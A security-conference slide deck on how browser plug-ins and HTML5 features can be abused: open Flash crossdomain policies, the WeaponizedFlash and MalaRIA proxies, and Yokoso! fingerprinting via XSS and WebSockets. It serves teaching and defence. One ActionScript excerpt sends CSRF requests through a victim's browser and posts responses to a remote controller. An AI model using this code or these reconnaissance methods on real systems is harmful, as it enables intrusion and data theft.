# Friendly Traitor II: Features are hot, but giving up our secrets is not!

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#### Who is Kevin Johnson?

- Security Consultant at Secure Ideas
- SANS Instructor
- Author of Security 542: Web Penetration Testing and Ethical Hacking
- Internet Storm Center Handler
  - http://isc.sans.org
- Open-Source Project Lead
  - SamuraWTF, Yokoso!, Laudanum, WeaponizedFlash and more
- Nerd.

#### Outline



Friendly Traitors

- Flash Fun
- WeaponizedFlash and MalaRIA
- ☐ HTML 5 Horrors
- Yokoso and WebSockets

## Friendly Traitors

- Friendly Traitors are features within our software clients
  - Clients on the web are typically the web browser
- Web browsers are becoming more complex
  - We will discuss this more later
- Most browsers include a plug-in architecture
- Plug-ins add to the feature-set of the browsers
  - These features open the clients to more powerful and interesting attacks

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#### Flash

- Let's make our pages "flash"
- Most people think animations
  - But ActionScript adds powerful feature sets



- Wide-spread support for the SWF objects
  - Except in Cupertino ;-)



## Flash Player Uninstalled?

- More and more, people are removing Flash Player
  - Let's make ourselves safe!
- But Adobe has made this harder
  - Guess they want that free player income?
- PDFs can have Flash content embedded
  - Built into the reader

#### Flash within a PDF

- Tom Liston showed me this originally
  - Provided a Python script
- The screenshot shows a PDF with a BBC SWF file embedded
- Research shows this works on MOST platforms
  - Mac Preview does not support it



## Flash and HTTP Requests

- □ Flash objects are able to make HTTP requests
  - Key feature in modern web applications
- Many developers use this to provide mashup capabilities
  - Or to process data from the server application
- □ Flash uses a different policy to control this than JavaScript
  - Same Origin policy is ignored
  - By default Flash behaves the same way though

## Cross Domain Policy

- □ These restrictions were added in Flash 7
- Prevents loading data from any server except the origin server
  - Similar to the same origin policy
- The big difference is that it is server controllable
  - crossdomain.xml file most likely in the web root
  - Controlled by the server admin or developer

Using a cross-domain policy file could expose your site to various attacks. Please read this document before hosting a cross-domain policy.

#### Crossdomain.xml

- XML file typically placed in the web root
  - or within the directory the content is loaded from
- Controls which domains are able to access content FROM this server
- Allows for the wildcard \*
  - \*.secureideas.net will match
    - www.secureideas.net
    - secureideas.net
    - We.LOVE.Adobe.secureideas.net

## Wide-open Crossdomain

- The big question commonly asked
- Why is it bad to have a wide open file?


- ☐ Think about why the JavaScript Same Origin Policy exists...
  - Prevent malicious content from retrieving sensitive data

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## Abusing Flash Objects

- We can exploit Flash by abusing this request feature
  - Against sites with misconfigured crossdomain files
- Flash objects can be used to proxy requests through a victim browser
- Multiple options are available
- WeaponizedFlash project
  - sourceforge.net/projects/weaponizedflash
- MalaRIA
  - github.com/eoftedal/MalaRIA-Proxy



Attacker Proxies through Flash object on the target user's browser

#### WeaponizedFlash

- The WeaponizedFlash project was started this year
- Project lead by Kevin Johnson and Frank DiMaggio
- This ActionScript is used to abuse Flash's crossdomain capabilities
- The SWF file can make requests to the discovered sites
  - XSRF attacks
- We also control this SWF file remotely
  - Similar to browser hooking

```
public function sendCSRFAttack(csrfURL:String, method:String, paylor
       returnResponseCallback:Function):void
  // currently only works with POST -- Kevin
  var myURL:URLRequest = new URLRequest(csrfURL);
  myURL.data = payload;
  myURL.method = URLRequestMethod.POST;
  var myLoader:URLLoader = new URLLoader();
  myLoader.addEventListener("complete", returnResponseCallback);
  myLoader.load(myURL);
public function returnResponse(evt0bj:Event):void
       // Return response from attacked server to controller script
       var response:String = evt0bj.target.data;
       // Now to send this to my controller
       var controllerURL:URLRequest = new URLRequest("http://flash.
       controllerURL.data = response:
       controllerURL.method = URLRequestMethod.POST;
       var ctrlrLoader:URLLoader = new URLLoader();
       ctrlrLoader.addEventListener("complete", retrieveCSRFCommand
       ctrlrLoader.load(controllerURL);
public function retrieveCSRFCommand():void
       // Get the CSRF victim from controller
       var cmdURL:URLRequest = new URLRequest("http://flash.securei
       cmdURL.method = URLRequestMethod.GET:
       var cmdLoader:URLLoader = new URLLoader();
       cmdLoader.addEventListener("complete", parseCSRFCommand);
       cmdLoader.load(cmdURL);
public function parseCSRFCommand(evt0bj:Event):void
       // parse the CSRF Command and then call the sendCSRFAttack
       var cmdResponse:String = evtObj.target.data;
       var arrayRequestPieces:Array = cmdResponse.split(",");
```

#### MalaRIA

- MalaRIA was created as a proof of concept
  - MalaRIA was created by Erlend Oftedal
- Includes both Flash and Silverlight RIAs
  - Rich Internet Applications
- MalaRIA creates a proxy within the browser
  - Controlled by a server-side application
- ☐ This allows the attacker to abuse wide-open crossdomain.xml and clientaccesspolicy.xml files

## Using MalaRIA

- The proxy server runs on the attacker's server
- □ The flash object is served to a victim browser
  - The current version is not subtle!
- The attacker sets their proxy to the server
  - Requests are sent to the Flash object
- This allows the attacker to browse internal sites as the

victim



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Yokoso and WebSockets

#### HTML5

- □ 5<sup>th</sup> revision of HTML
  - One focus is to replace Flash



- Keep in mind this is a client language
- Browsers are being given more power and features

SQL Database	Web Storage
File Access	Device Access
Web Sockets	System Information



## Web Storage

- Part of the HTML 5 Spec
- Allows for storage of key=>value pairs
  - Similar to cookies
- Two mechanisms
  - One for short term storage
    - Fixes the multiple tab issues
  - The other for large amounts of data
    - Entire documents or mailboxes

```
if (!window[type + 'Storage']) return;

if (storage.getItem('value')) {
   delta = ((new Date()).getTime() - (new Date()).setTime(storage.getItem('timestamp'))) / 1000;

   li.innerHTML = type + 'Storage: ' + storage.getItem('value') + ' (last updated: ' + delta + 's ago)';
} else {
   li.innerHTML = type + 'Storage is empty';
}
```

## System Information

- A JavaScript library
- Provides system information
  - From the system running the code
- Accesses hardware devices
  - Internal properties
    - CPU, thermometers
  - Ambient properties
    - Light, noise, temperatures

#### Geolocation API

- JavaScript library
  - Part of the W3C specs
- Mostly supported by mobile devices
  - But laptops could also use it

```
function handle_geolocation_query(position){
   var lat = position.coords.latitude;
   var lon = position.coords.longitude;
   var userLocation = lat + ', ' + lon;
   result = userLocation;
}
```


- Uses GPS, IP and MAC addresses, or Cell IDs
- Two methods
  - One-Shot for mapping
  - Multiple requests for tracking

```
if (navigator.geolocation) {
    result = "Supported";
    navigator.geolocation.getCurrentPosition(handle_geolocation_query, handle_errors);
} else {
    result = 'not supported';
}
```

#### So What?

- These features can be a great benefit to users and web developers
  - Never mind attackers ;-)
- To protect ourselves, we need to watch these features develop
  - Complexity brings with it an increased risk
  - Hopefully the clients will include controls
- Luckily the W3c is working with really smart people

## Of course they will do it right?



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#### WebSockets

- One of our favorite new technologies is WebSockets
  - http://dev.w3.org/html5/websockets/
- WebSockets are designed to establish connections to a back end server
  - Allows for long term communication between the server and the client
- Support bi-directional communication over a single TCP socket
- Designed to deal with blocked ports and network restrictions

#### Yokoso!

- Yokoso is a collection of fingerprints
- These can be used in multiple ways
  - XSS
  - Mapping Function
  - Attack Scripts
- Yokoso! was released at DefCon 17
  - Project lead by Kevin Johnson, Frank DiMaggio and Justin Searle
  - http://sourceforge.net/projects/yokoso

## Fingerprints?

- More of our infrastructure is web-managed
  - Mhh³;
- Fingerprints are the URIs of unique resources
  - Resources within the administration interfaces
  - Unique files that identify the system/software
    - index\_ie.htm
    - pb\_apache.gif

## Usages for the Fingerprints

- These fingerprints can be used within XSS attacks or delivered via content
  - Infrastructure Discovery
    - Determining critical devices
    - Within the attacked browser's network
  - History Browsing
    - Where has this browser been
    - Are they interesting to us?

## Infrastructure Discovery

- JavaScript leverages the included fingerprints to look for "interesting" devices
  - Server Remote Management
    - HP ILO (Insight Lights Out)
    - Dell RAC (Remote Access Card)
  - IP-based KVMs (Avocent, HP, IBM, etc...)
  - Web-based Admin Interfaces
    - Network Devices (Routers, Switches, & Firewalls)
    - Security Devices (IDS/IPS, AntiVirus, DLP, Proxies)
    - Information Storehouses (Help Desk, SharePoint, Email)
    - Virtualization Host Servers (VMware, Citrix)

#### Discovery through History Browsing

- Allows us to determine if someone has been to the page
  - Identifies Administrators
  - Widens the attack surface
  - Give us more to do with XSS
- Further aids us in determining the existing infrastructure
  - We can map what devices exist even if we can't reach them
    - The device is off
    - This victim machine was on that other network

#### Yokoso! And WebSockets

- Combining the fingerprints with WebSockets code
- Provides a robust infrastructure fingerprinting application
  - Deliverable via XSS or other means
- Making use of the single socket prevents detection by host scanner IDS signatures
- WebSockets can be used to communicate with the controller as well
  - Future work may provide proxy-like capabilities

## Yokoso! And Web Storage

- Web Storage provides the scanner storage space
- Much larger space then with traditional cookies
  - Infrastructure maps can be sizable ©
- Session storage can be used as temp space during the scan
  - Software can fall back to traditional cookies
- Local storage will be used for results
  - Allows for disconnected scanning
  - Results can be retrieved later

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## Web Clients:

#### The Attacker's Best Friends

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